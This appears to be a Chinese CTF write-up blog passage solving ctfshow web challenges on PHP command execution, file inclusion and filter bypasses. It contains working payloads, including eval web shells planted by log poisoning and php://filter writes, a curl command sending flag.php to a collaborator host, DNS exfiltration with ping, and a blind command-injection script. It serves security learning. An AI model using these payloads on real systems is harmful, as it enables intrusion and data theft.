8%2C%20%24zif_system)%3B%20%0A%0A%20%20%20%20(%24helper-%3Eb)(%24cmd)%3B%0A%20%20%20%20exit()%3B%0A%7D%0A%0Actfshow(%22cat%20%2Fflag0.txt%22)%3Bob_end_flush()%3B%0A%3F%3E%0A
实在是太高端了。
Web73 和71是一样的,直接查看目录然后include就行了。
Web74 限制了不能使用scandir,所以就只能使用72题的方法区读取目录,然后再使用include去读取。
Web75 首先就是查文件,这个及时还和上边的一样的方法
数据库名字需要利用前面的web58去找
1 2 3 4 5 6 7 8 9 10 11 12 13 poc: try { $dbh = new PDO ('mysql:host=localhost;dbname=ctftraining' , 'root' ,'root' ); foreach ($dbh ->query ('select load_file("/flag36.txt")' ) as $row ) { echo ($row [0 ])."|" ; } $dbh = null ; }catch (PDOException $e ) { echo $e ->getMessage ();exit (0 ); } exit (0 );
通过 php PDO 连接数据库,通过数据库的函数间接查询文件内容 ,这题其实不用try也行
Web76 和上题一模一样的做法即可
Web77 这题要用到什么FFI,没学过的东西,只能现学了。
1 FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP的FFI扩展就是一个让你在PHP里调用C代码的技术。
1 2 3 $ffi = FFI::cdef ("int system(const char *command);" );$a ='/readflag > 1.txt' ;$ffi ->system ($a );
采用c语言去读取就行,而且注意直接读取是没用的,执行readflag即可
Web118 这题需要使用环境变量去写
1 2 3 4 //利用系统变量构造nl命令 ${PATH:~A}${PWD:~A}$IFS????.??? ${PATH:~A}${PWD:~A}是nl
1 ${PATH:~M}${PWD:~J} ????.???
这样就得到了flag
还有别的利用${PATH}构造的payload
SHLVL是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时${SHLVL}=2。 ${PWD:$是0,${SHLVL}为1 $来替代数字,截取想要的字符串
1 2 3 4 5 #${RANDOM}是随机数,${#RANDOM}一般是5,也可能是4 ${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.??? #其他师傅 ${PATH:~A}${PATH:${#TERM}:${SHLVL:~A}} ????.???
Web119 这次禁用了${PATH
1 2 3 4 5 ${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}} ????.??? # pwd=/var/www/html # USER=www-data # payload即为 /???/?at ????.??? 为了构造/bin/cat
1 2 3 也可以只要a进行构造 ${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.??? /???/?a? ????.???
Web120 和上题一样的做法即可
Web121 是只能使用pwd了
1 2 3 ${?}=0,${#?}=1($?是表示上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误) ${#IFS}=3
1 2 3 4 code=${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.??? /???/r?? ????.??? /bin/rev
Web122 1 2 payload: <A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
1 2 3 4 5 6 7 $?表示上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误 为什么有 <A <A返回的错误值 使得$?为1 然后再使用random去随机,多点几次就有可以得到源码的
Web124 讲下主要函数
1 2 3 4 base_convert #在任意进制之间转换数字。 hexdec #把十六进制转换为十进制。 dechex #把十进制转换为十六进制。 hex2bin #把十六进制的字符串转换为ASCII码
构造$_GET 把参数逃逸出去
转成10进制 多转一层绕过过滤
1 2 3 4 5 6 7 8 9 10 11 12 <?php echo base_convert ("hex2bin" , 36 , 16 ); echo "<br>" ;echo base_convert ("8d3746fcf" , 16 , 36 ); echo "<br>" ;echo hexdec (bin2hex ("_GET" )); echo "<br>" ;echo base_convert ("8d3746fcf" , 16 , 36 )(dechex ("1598506324" )); ?>
题解
1 2 3 c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=cat%20flag.php $$pi{abs}($$pi{acos}) #相当于 $_GET['abs']($_GET['acos'])
Web78 直接用base64去读取就可以了
Web79 这题发现php被替换掉了,我们就可以使用data协议即可
1 2 ?file=data: PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs ===> <?php system ('cat flag.php' );
Web80 这题把data协议也禁掉了
这就得使用文件日志包含去解决了
data被替换 日志文件地址
1 /var/log/nginx/access.log
User-Agent插入
1 <?php eval($_POST[1]);?>
然后用蚁剑去连接就能拿到flag了。
Web81 还是可以使用上面一题的文件日志包含去完成
Web82-Web86 session文件包含,但是因为需要竞争的环境,得半夜才有,所以就先放放,理解知识点才是主要
Web87 die死亡绕过,比较简单的一个知识点
1 ?file=php://filter/write=convert.base64-decode/resource=2.php
不过要注意的点是这里需要进行两次url加密,并且是全字母加密
Web88 和79题一样,用data协议即可
1 2 ?file=data: PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs ===> <?php system ('cat flag.php' );
Web116 这题需要结合misc的知识点去做,我们去对视频进行分析找到源码,然后就很容易得写出这题
Web117 解答 :两个参数,有过滤,有die。 string字符串过滤器被过滤了,base64也被过滤了,但还有convert.iconv.
把一句话木马 从UCS-2LE
编码转换为UCS-2BE
编码。
1 2 3 4 5 <?php $result = iconv ("UCS-2LE" ,"UCS-2BE" , '<?php @eval($_POST[jz]);?>' );echo "payload:" .$result ."\n" ;?>
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=jiuzhen.php post:contents=?<hp pe@av(l_$OPTSj[]z;)>?
蚁剑连接,或者直接访问jiuzhen.php,post传参。
Web89 直接数组绕过即可
Web90 1 http://804aeafe-d39e-4a16-a21d-0daec7483e63.challenge.ctf.show/?num=4476a
直接多加一个字母即可
Web91 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 i 不区分(ignore)大小写 m 多(more)行匹配 若存在换行\n并且有开始^或结束$符的情况下, 将以换行为分隔符,逐行进行匹配 $str = "abc\nabc" ;$preg = "/^abc$/m" ;preg_match ($preg , $str ,$matchs );这样其实是符合正则表达式的,因为匹配的时候 先是匹配换行符前面的,接着匹配换行符后面的,两个都是abc所以可以通过正则表达式。 s 特殊字符圆点 . 中包含换行符 默认的圆点 . 是匹配除换行符 \n 之外的任何单字符,加上s之后, .包含换行符 $str = "abggab\nacbs" ;$preg = "/b./s" ;preg_match_all ($preg , $str ,$matchs );这样匹配到的有三个 bg b\n bs A 强制从目标字符串开头匹配; D 如果使用$限制结尾字符,则不允许结尾有换行; e 配合函数preg_replace ()使用, 可以把匹配来的字符串当作正则表达式执行;
直接%0a绕过即可
Web92 1 intval()函数如果$base为0则$var中存在字母的话遇到字母就停止读取 但是e这个字母比较特殊,可以在PHP中不是科学计数法。所以为了绕过前面的==4476我们就可以构造 4476e123
1 2 3 4 5 payload:?num=0x117c 这里我采用的是16进制绕过 进制绕过
Web93 可以使用别的进制即可,不过千万要注意进制的前缀,不然就会默认当成十进制去运算了
1 2 3 1.0B 表示二进制的前缀 2.0O 表示八进制的前缀 也可以使用0表示八进制的前缀 4.0x 这个是十六进制的前缀 0x是16进制的前缀,H是16进制的后缀
Web94 过滤了第一个数字为0的情况,所以就无法使用八进制去绕过了,但是我们可以使用小数即可。
Web95 1 可以通过8进制绕过但是前面必须多加一个字节(加号空格都行) ?num=+010574或者?num=%2b010574
Web96 1 2 3 ./flag.php ./当前目录 /var/www/html/flag.php php://filter/resource=flag.php
Web97 md5数组绕过即可,或者md5强弱碰撞都行
Web98 既然get传入的值会被定位指向到post所对应的值,那么只需要有get存在即可,同时post传入HTTP_FLAG=flag就可以了
Web99 1 2 3 4 5 6 7 8 9 10 11 12 13 <?php highlight_file (__FILE__ );$allow = array ();for ($i =36 ; $i < 0x36d ; $i ++) {array_push ($allow , rand (1 ,$i ));} i f (isset ($_GET ['n' ]) && in_array ($_GET ['n' ], $allow )){file_put_contents ($_GET ['n' ], $_POST ['content' ]);} ? > payload: get : ?n=1 .php post:content=
很简单的一道题目
Web100 1 2 3 ?v1=1 &v2=var_dump ($ctfshow )&v3=; v1=1 &v2=system ("cat ctfshow.php" ); ?v1=21 &v2=var_dump ($ctfshow );
Web101 这里需要用到php反射类
1 ?v1=1&v2=echo new ReflectionClass&v3=;
Web102 利用base64,同时配合伪协议去写入,但是需要保证通过is_number函数的判断,可以有字母啊,但是必得是e啊,也就是科学计数法啊,来自同一家的payload啊:
1 2 3 4 5 6 7 $a='<?=`cat *`;'; $b=base64_encode($a); // PD89YGNhdCAqYDs= $c=bin2hex($b); //这里直接用去掉=的base64 输出 5044383959474e6864434171594473 带e的话会被认为是科学计数法,可以通过is_numeric检测。 大家可以尝试下去掉=和带着=的base64解码出来的内容是相同的。因为等号在base64中只是起到填充的作用,不影响具体的数据内容。
1 ?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
post:v1=hex2bin
然后访问1.php去触发就可以了
Web103 和上题一样的做法即可
Web104 sha1绕过
和md5绕过一样的
Web105 这题就是很简单的变量传递即可,
1 2 ?suces=flag post:error=suces
Web106 还是和104一样的sha1绕过1
Web107 第一种方法
利用md5碰撞:使得v1中的flag=0,然后v3=0(md5(QNKCDZO)=0e…)
payload:vl=flag=0,v3=QNKCDZO)
第二种方法
数组绕过即可
1 2 ?v3[]=2&flag[]=32 post:v1=v2=$_GET
Web108 1 ereg()限制password的格式,只能是数字或者字母。但ereg()函数存在NULL截断漏洞,可以使用%00绕过验证。
1 2 3 ①%00截断及遇到%00则默认为字符串的结束 ②当ntf为数组时它的返回值不是FALSE
这题还要注意strrev函数 ,反转字符串
Web109 这题使用反射类即可很简单的完成了。
1 ?v1=ReflectionClass&v2=system('tac fl36dg.txt')
当然也可以使用别的方法
1 ?v1=Exception&v2=system('cat fl36dg.txt')
总结
1 2 3 ?v1=Exception ();system ("ls" ); ?v1=ReflectionClass&v2=system ("ls" ) ?v1=ReflectionClass ("PDO" );system ("ls" );
Web110 FilesystemIterator获取目录文件
getcwd()函数取得当前工作目录
构造playload:
1 v1=FilesystemIterator&v2=getcwd
得到当前目录的第一个文件名字:fl36dga.txt,然后访问即可,缺陷:只能获取第一个文件名字
Web111 主要是全局变量
输出GLOBALS即可
Web112 1 2 3 4 5 6 7 8 9 可以直接用不带任何过滤器的filter伪协议 file=php://filter/resource=flag.php 也可以用一些没有过滤掉的编码方式和转换方式 file=php://filter/read=convert.quoted-printable-encode/resource=flag.php file=compress.zlib://flag.php ↑这是读取压缩流 file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php file=php://filter/read=convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php ↑这是两位一反转的读取方式
Web113 这接着上面把filter禁掉了
利用上一道题目的payload可以继续打
1 file=compress.zlib://flag.php
利用目录溢出来做
inux里/proc/self/root
是指向根目录的,也就是如果在命令行中输入ls /proc/self/root
,其实显示的内容是根目录下的内容 多次重复后绕过is_file
1 ?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
Web114 把filter又放出来了,直接写就行
Web115 这题需要写一个脚本去找到
1 2 3 4 5 6 7 <?php for ($i = 0 ; $i <129 ; $i ++){ $num =chr ($i ).'36' ; if (trim ($num )!=='36' && is_numeric ($num ) && $num !=='36' ){ echo urlencode (chr ($i ))."\n" ; } }
得到:%0C %2B(+) - . 0 1 2 3 4 5 6 7 8 9
Web123 此处的php特性:在php中变量名字是由数字字母和下划线组成的,所以不论用post还是get传入变量名的时候都将空格、+、点、[转换为下划线,但是用一个特性是可以绕过的,就是当[提前出现后,后面的点就不会再被转义了,such as:CTF[SHOW.COM=>CTF_SHOW.COM
payload:CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag
Web125 1 2 3 4 $_SERVER["QUERY_STRING"] 获取查询 语句,实例中可知,获取的是?后面的值 $_SERVER["REQUEST_URI"] 获取 http://localhost 后面的值,包括/ $_SERVER["SCRIPT_NAME"] 获取当前脚本的路径,如:index.php $_SERVER["PHP_SELF"] 当前正在执行脚本的文件名
1 2 3 4 CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0]) # POST ?$fl0g=flag_give_me; #GET CTF_SHOW=6&CTF[SHOW.COM=6&fun=highlight_file($_GET[1]) #POST ?1=flag.php #GET
现将变量fl0g赋值,再去执行命令
Web126 和上题基本一样的
1 2 3 4 5 6 7 8 9 10 11 12 assert () 断言:PHP 5 bool assert ( mixed $assertion [, string $description ] )PHP 7 bool assert ( mixed $assertion [, Throwable $exception ] )如果 assertion 是字符串,它将会被 assert () 当做 PHP 代码来执行 可见,eval 和assert都可以将字符当作代码执行,只不过assert不需要严格遵从语法,比如语句末尾的分号可不加 ?$fl0g =flag_give_me CTF_SHOW=6 &CTF[SHOW.COM=6 &fun=assert ($a [0 ])
Web127 ?ctf_show=ilove36d但是下划线被过滤了
自己写个fuzz脚本跑一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php function waf ($num ) { if (preg_match ('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//' , $num )){ return false ; }else { return true ; } } for ($i = 0 ; $i <129 ; $i ++){ $num =chr ($i ); if (waf ($num )){ echo "未编码:" .$num ." 经过编码:" .urlencode (chr ($i ))."\n" ; } } ?>
但是这里我们的目的是利用空格、点、左中括号、+来被自动转换为下划线,经过fuzz得到空格,但是不知道为什么我空格经过URL编码确是+,但是%20确实符合该题目
Web128 新知识:
gettext()函数有一个别名:_
gettext()的作用就是输出一个字符串
1 2 3 4 5 6 7 8 _ ()是gettext ()的拓展函数在开启相关设定后,_ ("666" )等价于gettext ("666" ),且就返回其中的参数 <?php echo gettext (666 ); echo "\n" ;echo _ ("666" ); ?>
get_defined_vars — 返回由所有已定义变量所组成的数组 这样可以获得 $flag
1 payload: ?f1=_&f2=get_defined_vars
Web129 1 2 3 4 strpos() - 查找字符串在另一字符串中第一次出现的位置(区分大小写) stripos() - 查找字符串在另一字符串中第一次出现的位置(不区分大小写) strripos() - 查找字符串在另一字符串中最后一次出现的位置(不区分大小写) strrpos() - 查找字符串在另一字符串中最后一次出现的位置(区分大小写)
这题需要使用目录穿越即可
1 2 ./ctfshow/../flag.php ?f=/ctfshow/../../../../../../../var/www/html/flag.php
Web130 直接post传参
Web131 方法一 payload:?f=ctfshow[]
方法二: 采用数组
绕过的方法,stripos函数
会返回null
,null!=false
,所以可以绕过stripos函数
方法三: 回溯次数溢出即可
写一个脚本
1 2 3 4 5 6 7 8 import requestsurl="http://510d4c1f-2643-4f0e-b2ff-2f62679bf384.challenge.ctf.show/" response=requests.post(url=url,data={ 'f' : 'data' *250000 +'36Dctfshow' }) print (response.text)
Web132 很简单的这题
1 2 3 4 5 6 7 8 9 <?php if (false && false || true ){ echo "true!" ; }else { echo "false!" ; } ?>
所以只需要满足后者就行:$username ==="admin"
同时满足下一个if:$code == 'admin'
1 ?username=admin&password=1&code=admin
Web133 1 2 3 4 5 6 7 我们传递?F=`$F`;+sleep 3好像网站确实sleep了一会说明的确执行了命令 **那为什么会这样?** 因为是我们传递的`$F`;+sleep 3。先进行substr()函数截断然后去执行eval()函数 这个函数的作用是执行php代码,``是shell_exec()函数的缩写,然后就去命令执行。 而$F就是我们输入的`$F`;+sleep 3 使用最后执行的代码应该是 ``$F`;+sleep 3`,就执行成功 这里可能有点绕,慢慢理解
1 2 3 4 5 6 payload: ?F=`$F `;+curl -X POST -F xx=@flag.php 6hokugw3tjr8vdj8f2yldiead1jt7i.burpcollaborator.net # -X POST 指定 HTTP 请求的方法为 POST # 其中-F 是带文件的形式发送post请求 # xx是上传文件的name值,flag.php就是上传的文件
或者也可以使用dnslog
1 http://6d430dd8-2c69-4e3a-80e9-17df7cab12e0.challenge.ctf.show/?F=`$F`; ping `cat flag.php | grep ctfshow | tr -cd "[a-z]"/"[0-9]"`.5c7zzo.dnslog.cn -c 1
不过这种特别容易失败不知道为什么。
Web134 我们可以之间使用变量去绕过即可
1 ?_POST[key1]=36 d&_POST[key2]=36 d
Web135 1 2 3 ?F=`$F` ;cp flag.php 666.txt ?F=`$F` ;nl flag.php>666.txt ?F=`$F` ;mv flag.php 666.txt
直接使用cp命令就可以完成了
或者也可以使用ping命令外带
1 ?F=`$F`; ping `nl flag.php|awk 'NR==15'|tr -cd "[a-z]"/"[0-9]"`.qvnuu2.dnslog.cn -c 1
就是这样还是很容易出不来
Web136 直接使用linux的tee命令即可
1 ls /|tee 1 访问1下载发现根目录下有flag payload: cat /f149_15_h3r3|tee 2 访问下载就OK
Web137 这题直接调用静态类即可
1 ctfshow=ctfshow::getFlag
Web138 利用call_user_func的性质即可,我们传递一个数组进去,使其调用
1 2 3 4 5 call_user_func(array($classname, 'say_hello')); 调用classname这个类里的sya_hello方法 array[0]=$classname 类名 array[1]=say_hello say_hello()方法
1 ctfshow[0]=ctfshow&ctfshow[1]=getFlag
Web139 这题就稍微有点难度,需要使用盲注
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import requestsurl = "http://7bbfdea8-0683-43fe-a382-62f9db7b00b5.challenge.ctf.show/?c=" payload = "if [ `cat /f149_15_h3r3 | cut -c {}` == \"{}\" ];then sleep 3;fi" result = "++++++++++++++++++++++" length = 48 strings = "abcdefghijklmnopqrstuvwxyz_-0123456789" for c in range (1 ,length): for s in strings: target = url+payload.format (c,s) try : requests.get(target,timeout=3 ) except : result+=s print (result) break result+=" "
最后就得到了flag
Web140 0==“字符串”
返回的是TRUE
intval会将非数字字符转换为0,也就是说 intval('a')==0 intval('.')==0 intval('/')==0
1 2 3 4 5 6 7 8 md5(phpinfo()) md5(sleep()) md5(md5()) current(localeconv) sha1(getcwd()) 因为/var/www/html md5后开头的数字所以我们改用sha1 post f1=usleep&f2=usleep post f1=gmdate&f2=gmdate post f1=intval&f2=intval
Web141 这主要是可以通过取反绕过
拓展:各种无数字字母绕过https://blog.csdn.net/miuzzx/article/details/109143413‘
绕过return的方式: php中有个有意思的地方,数字是可以和命令进行一些运算的,例如 1-phpinfo();结合减号是可以执行phpinfo()命令的。(不一定是减号,还有加、乘、除号,若用加号。要用+,要进行URL编码,这是个特殊字符,不进行编码会当作空格)
1 2 3 4 5 6 7 system(tac f*); 经过取反处理 (~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5); payload: ?v1=1&v3=-(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5);-&v2=1 ?v1=1&v2=2&v3=-(%fa%fa%fa%fa%fa%fa^%89%83%89%8e%9f%97)(%fa%fa%fa%fa%fa%fa%fa^%8e%9b%99%da%d0%9b%d0)-
Web142 直接传0就行了
1 2 3 4 payload: ?v1=0 八进制 ?v1=0x0 16进制 ?v1=0e123 科学计数法
Web143 这题是141的升级版,我们用异或即可。
并且没有过滤乘号
1 2 3 ?v1=1&v2=2&v3=*("%13%19%13%14%05%0d"^"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%02%10%08%10"^"%60%60%60%20%60%60%60%60%2c%60%60%60")?> ?v1=1&v2=2&v3=-(%fa%fa%fa%fa%fa%fa^%89%83%89%8e%9f%97)(%fa%fa%fa%fa%fa%fa%fa^%8e%9b%99%da%d0%9b%d0)-
Web144 直接换个位置就行了这题
1 ?v1=1&v3=-&v2=(%fa%fa%fa%fa%fa%fa^%89%83%89%8e%9f%97)(%fa%fa%fa%fa%fa%fa%fa^%8e%9b%99%da%d0%9b%d0)
Web145 可以使用冒号问号连接
测试:
1 eval ("return 1?phpinfo():1;" );
这是可以运行出来的
所以
1 ?v1=%0a1&v2=%0a0&v3=?(~%8c%86%8c%8b%9a%92)(~%9c%9e%8b%df%99%d5):
Web146 又增加了分号的过滤,所以我们没法用三目运算符了,这时候想到了等号和位运算符
1 eval ("return 1==phpinfo()||1;" );
继续套就行
Web147 1 2 3 /i不区分大小写 /s匹配任何不可见字符,包括空格、制表符、换页符等等,等价于[\f\n\r\t\v] /D如果使用$限制结尾字符,则不允许结尾有换行
由于命名空间问题,如果要绝对调用一个函数,例如system,那么就要写成\system
php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路 径; 而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写 法
1 2 ?show=;};phpinfo();/* ctf=\create_function
紧接着就到了如何只控制第二个参数来执行命令的问题了,后来找到可以用create_function
来完成,create_function
的第一个参数是参数,第二个参数是内容。
函数结构形似
1 2 3 4 5 6 7 create_function ('$a,$b' ,'return 111' )==> function a ($a , $b ) { return 111 ; }
然后执行,如果我们想要执行任意代码,就首先需要跳出这个函数定义。
1 2 3 4 5 6 7 create_function ('$a,$b' ,'return 111;}phpinfo();//' )==> function a ($a , $b ) { return 111 ;}phpinfo (); }
这样一来,我们想要执行的代码就会执行
Web148 这题就有点没看懂的感觉
说是使用中文变量
1 2 3 code=$哈="`{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f* "`{{{"^"?<>/"; 异或出来的结果是 _GET ${_GET}[哼](${_GET}[嗯]);&哼=call_user_func&嗯=get_ctfshow_fl0g
***”`